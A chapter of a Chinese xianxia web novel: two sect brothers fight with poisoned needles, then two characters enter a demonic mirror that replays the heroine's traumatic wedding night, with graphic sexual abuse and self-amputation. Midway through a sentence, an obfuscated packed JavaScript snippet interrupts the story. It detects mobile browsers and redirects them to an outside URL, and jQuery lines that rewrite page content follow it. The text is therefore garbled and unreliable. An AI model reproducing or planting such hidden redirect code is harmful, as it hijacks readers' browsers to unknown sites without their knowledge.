见顾玉成久久不言,温以成彻底失去耐心,右手将药瓶向空中一抛,补天针涌来,竟生生戳穿瓶身,一鼓一吸汲取瓶中液体,不多时,补天针又绿又紫,煞是骇人。
“断筋散……温以成,你已不念同门之谊了吗?”顾玉成啐一口,知道温以成温柔表象下疯得要命,倒不知他疯成这样,为了个刚入门的弟子,竟要断他这自小一齐长大的师弟仙路。
断筋散,入体即腐蚀灵脉,难以修复,若毒入气海扩散至全身,即使勉强保下命,也是个聚不了灵力的废人。
补天针飞旋上天,各就各位,组了个杀阵。
温以成拿出一片青竹色碎布,赫然是仁心谷宗服残片,唇角勾起毫无温度的笑:“同门之谊?你害楚师妹的时候,可曾想过这点?顾玉成,我以为你只是蠢笨冲动,没想到还如此下作,枉为医修!”
说话间,补天针刹那聚拢,如一支离弦之箭,向顾玉成直射而去,破空之声尖锐刺耳,乱人意志,顾玉成舞剑成风,一道风盾挡在身前。
然而,补天针前赴后继,一波落地一波又来,源源不断似无尽头,丝丝毒气落地生根,借泥土浸进盾内,直攻他足底。
顾玉成眼见不好,忙收剑后跃,却在这一瞬,被补天针趁虚而入,右腕立时如万蚁噬咬,不过一息,整条右臂便失去知觉,再无力拿起佩剑。
他咬紧牙关,换左手执剑,齐根砍断右臂,好险止住断筋散势头:“温以成,你当真疯了!杀了我,你永远别想知道楚瑶安的下落。”
补天针一滞,温以成幽幽走来,嘴角笑容冰寒刺骨:“你我虽只相差一个境界,怎么说也隔着元婴与化神的鸿沟,你如此不堪一击,都是因你心术不正走捷径。”
补天针变阵,千千万根针封住顾玉成身周,温以成深深看他,语气又恢复温度:“阿玉,告诉我楚师妹在哪里,师兄便原谅你这一回。”
“好啊,你且离近些……”顾玉成擦去嘴角血痕,眸底恨意翻涌。
下一瞬,另一道顾玉成的身影出现在温以成身后,长剑杀意汹汹,直取要害,温以成却似早有预料,足下一点,轻飘飘飞远,剑尖连他衣角都没沾上。
“冥顽不灵。”
温以成掐诀控针,又是一个杀阵,指尖轻动,耳边忽然传来“叮铃”脆响,他当即面色一变,撕下神行符循声变道,速度之快,顾玉成反应过来时,他已不见踪影。
顾玉成趁机服下解毒丸,收好断臂依着气息追上去,却见前方魔气蒸腾,难闻的腐臭味充斥鼻尖,而温以成半点不停,直冲进魔气最浓郁之处。
“嘁,这也敢闯?”顾玉成摇摇头,寻了块石头坐下,视线锁在一块黄澄澄的铜镜上。
那铜镜表面凹凸不平,花纹粗糙,像块做工低劣的普通镜子。
但他知道,这是魔族至宝,闯入者需彻底破除心魔方能出来,它会放大、扭曲人心底深处的魔障,少有人能全须全尾出来,温以成这回怕是凶多吉少了。
只是这魔族的邪门玩意儿,怎么会出现在这里?
顾玉成拿不定主意,联系季泰和上报此间情况,听命守在安全区域,静观其变。
*
楚瑶安醒来时,头昏脑胀,身体像没有重量般,风一吹就能上天,她勉力睁开眼,见自己还真在天上,登时吓得清醒,不断呼唤系统,却都没有回应。
下方地面上,依稀能看出是她晕倒前的乱石阵,只是此刻巨石有序耸立,俯瞰之下像年轮,再仔细瞧,却更像一轮发光的太阳。
怎么回事?她伸出双手,手上什么也没有,她记得她按系统引导找到了摄魂草,想要连根移走,刚下铲子便有腥臭黑气自地下涌出,将她熏晕了过去。
再醒来,怎么成了个“风筝”?
怔愣间,一道影子朝她飞扑而来:“师妹!”待影子到近处,一双水眸荡漾胶着,不是温以成又是谁。
楚瑶安却退开几步,警惕地抬手止住他:“大师兄?”
温以成轻笑道:“初次相识你也是不信我,我以弟子牌自证身份,你才略微放下警惕,可还记得?”
楚瑶安松下绷直的脊背,主动朝他靠去:“大师兄怎么会在这里?这里……又是什么地方?”
“系心铃响了。”温以成的目光在她身上逡巡,不放过每一寸,确认她神魂无恙,才解释道,
“我们在九死心魔镜内,入镜者九死一生。这是魔族专为灭杀正道大能炼制的法宝,拘住入镜者神魂,并能无限放大入镜者心底的阴影,唯有彻底攻克心魔,方能出去。”
见楚瑶安皱起眉头,他虚虚抚过她头顶,向她伸出手:“不怕,我们抓牢些,两道神魂一同克灭心魔,胜算很大。”
楚瑶安低头凝视近前的手,虽纤细,握起来却格外安稳,昨夜也是这只手带她穿越荒林,得见绝美盛景。
她缓缓伸出手,温以成主动向上一收,紧紧抓住她:“别放手,一切有我。”
楚瑶安触电般一颤,与人神魂相连的感觉……实在微妙。
不知在天上飘了多久,一位少年手举巨石走入石阵,在中心位置放下巨石,呼了口气:“差不多了。”
他腾空而起,灵力蕴至十指指尖,以不可思议的速度掐诀起阵,巨石正中射出一道冲天金光,澎湃的至纯至正之力扑面而来,巨石渐次亮起金光。
“这是什么阵法?”楚瑶安问道。
温以成解释:“正阳破魔阵,多用于封印魔气源,看来,这石阵下面有个与魔界相通的口子,我竟从未听过弱水村附近有这样的地方。”
下方巨石由中心向外逐个被点亮,眼见到最后一圈,突然四周黑气涌动,令人作呕的味道四处弥漫。
是魔气!
少年悬于阵法正中,似无所觉,楚瑶安不免紧张,想要下去提醒,却被拉住:“这只是过去发生的幻象,他是看不见我们的。”
说话间,魔气越聚越多,原本被点亮的巨石渐次黯淡,少年发现异样,不紧不慢收回手,掌中蓄灵力向下一拍,一个巨大的掌印打入地下,炸出来个蓬头垢面的人。
那人身上魔气满溢,五官都隐在黑雾中,看不清面貌,桀桀怪笑道:“哪里来的毛头小子,小小金丹,也妄图坏本座好事!”
少年摇头不语,拿出一朵金莲朝魔修当头掷去,魔修左躲右闪,被缠得苦不堪言,破口大骂:“靠法器算什么!有本事收了它我们单挑!”
少年闻言当真收了金莲,魔修歪嘴一笑,待要发作,一座银色宝塔又凭空出现,塔尖朝魔修一捅,他当场血花四溅,疼得嗷呜乱叫。
有宝塔制住魔修,少年再次起诀激活阵法,巨石金光氤氲,即将阵成之际,魔修呔一声向上抛出一物,正是凹凸不平的九死心魔镜。
少年格外从容,不仅不躲,还主动迎上前去,黑色浓雾很快将他吞噬,他的身体直直往下坠去。
楚瑶安不由摒住呼吸,为他捏一把汗。
“别担心,按我们后世所见,阵应当是成了。”温以成宽慰道。
果然,少年才坠下三尺便醒转过来,抓住心魔镜向魔修扔去,魔修得逞的怪笑还没收声,便命毙当场。
阵成之后,少年将心魔镜埋于阵眼,留下佛光盛溢的金莲。他拍拍衣角站起身,抬眼看天边红日:“此阵怕是只能维持千年,千年之后,恐会再生祸端。”
他这一抬头,正正好与楚瑶安对上,楚瑶安心下一惊,这少年……好生奇妙。
外表分明只有弱冠之年,眼里却似有山川江海,却不失一往无前的洒脱,包容万物的沉稳宽厚与独属于少年人的意气风发,同时在他身上展现。
“他……好熟悉的气息。”温以成喃喃道。
随着少年离开石阵,幻境中天地骤然消失,陷入一片黑暗。
楚瑶安头顶猛地一疼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135736|178874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似有一根针扎进脑仁,立时疼得弯下腰去。
温以成连忙抱住她,手指在她头顶轻按慢揉:“忍忍,心魔镜在搜索你的神魂,它会找出你心底最深的魔障。”
话音刚落,一张深渊巨口突然出现,一口将他们吞下……
*
再次睁开眼,楚瑶安双臂酸痛,后脑勺闷闷的疼,鼻尖是浓到呼吸困难的熏香味,视线被一张红布遮挡,只能透过布底间隙窥得一点地板。
“吱——”
侧前方传来开门声,接着是咚咚的脚步声,一步一顿,格外沉闷。
楚瑶安不由头皮发麻,试着动了动,双手被反绑,这是……新婚之夜,一切梦魇的开始。
即使后来成功逃脱,无数次午夜梦回,她仍不免困囿其间,痛苦纠缠不休,一遍遍嘲笑她的无能为力。
“别怕,这个绳结我能解开。”温以成轻声说道。
随后她便感觉自己的手动了起来,摸索上绳结,指尖翻飞。
大师兄竟能控制我的身体?楚瑶安心下一惊。
似是察觉到她的疑惑,温以成解释道:“你我如今神魂相连,共用一体,只要在心中默想想说的话,就能彼此沟通,幻境中的人是听不到的。”
楚瑶安松了口气:“原来如此。”
很快又紧张起来,她所想深藏的不堪,就要被大师兄发现了,他会认出段鹤远吗?会不会畏惧于段家权势,主动将她交出去?
胡思乱想间,一双玄色皂靴出现,某种物件击打掌心的声响一下下回荡,犹如敲在她头骨上,每一下都令她神魂一颤。
“大师兄……接下来你能不能,别看……”她哀求道。
“别怕,别怕,”温以成哄道,“这是你心中魔障,唯有正视它、了结它,我们才能出去。机会只有一次,你冷静冷静,我先解开绳结。”
“砰!”
一把木凳直直撞来,险将脚踏撞出个豁口,靴子主人在楚瑶安面前坐下。
无尽的、深重的恨意,随着她每次呼吸翻腾、繁殖,段鹤远,只是想起这个名字,她都巴不得生剐其肉,一想到接下来他会做什么,她便难以自控。
人前,段鹤远是天之骄子修仙奇才,人后,他因感染血毒难以治愈,是个乖戾残暴的变态!
而她,则是林家精心训练,送到他身边的贡品,用她的至阴之血稳住病情,还以她血肉之躯,消解他内心扭曲的暴虐。
身后绳结才解一半,碧玉如意挑杆已先一步伸来,它没有急着履行掀盖头的使命,反而直楞楞戳在她下巴上,然后向上游走,掠过脸颊爬上鼻梁,描过眉骨,最后重重点在额心。
“林汐云,行十三,小字叫什么?”
段渣滓的声音,一如记忆中令人作呕。
“怎么不说话?可是怨我来得太迟?林家将你说得天上有地上无,妄想拿你抵债,脾气竟这般大?”
杆头猛地下滑,正正戳在她唇瓣上,用力摩擦碾磨,淡淡血腥味在她口中漾开,牙齿也酸疼得紧。
解绳结的动作明显一滞,指甲嵌入掌腹,难以克制地抖动着。
“不要停,大师兄,你继续解,我能应付。”楚瑶安沉沉道。
“快了,就快了,你等我。”温以成的声音明显发颤。
久被冷落的段鹤远失去耐性,一只冰凉手掌猛地捏住她下颌,迫她张开嘴:“想和我玩欲擒故纵那套?还是说……你,看不起我?”
如意杆长驱直入,在口腔内肆意妄为,尚还觉得不够,又挑起她舌尖挤压戳弄。
“嗤,凭你也敢挑剔?一个生来只配做炉鼎的倡妓,今日我便替林家好好教教你,如何侍奉夫婿!”
说着如意杆向下一捅,竟向喉咙深处抵去!
与此同时,绳结总算解开,温以成当即便要控制楚瑶安反击,被她冷静止住:“还不是时候,再等等……我可以。”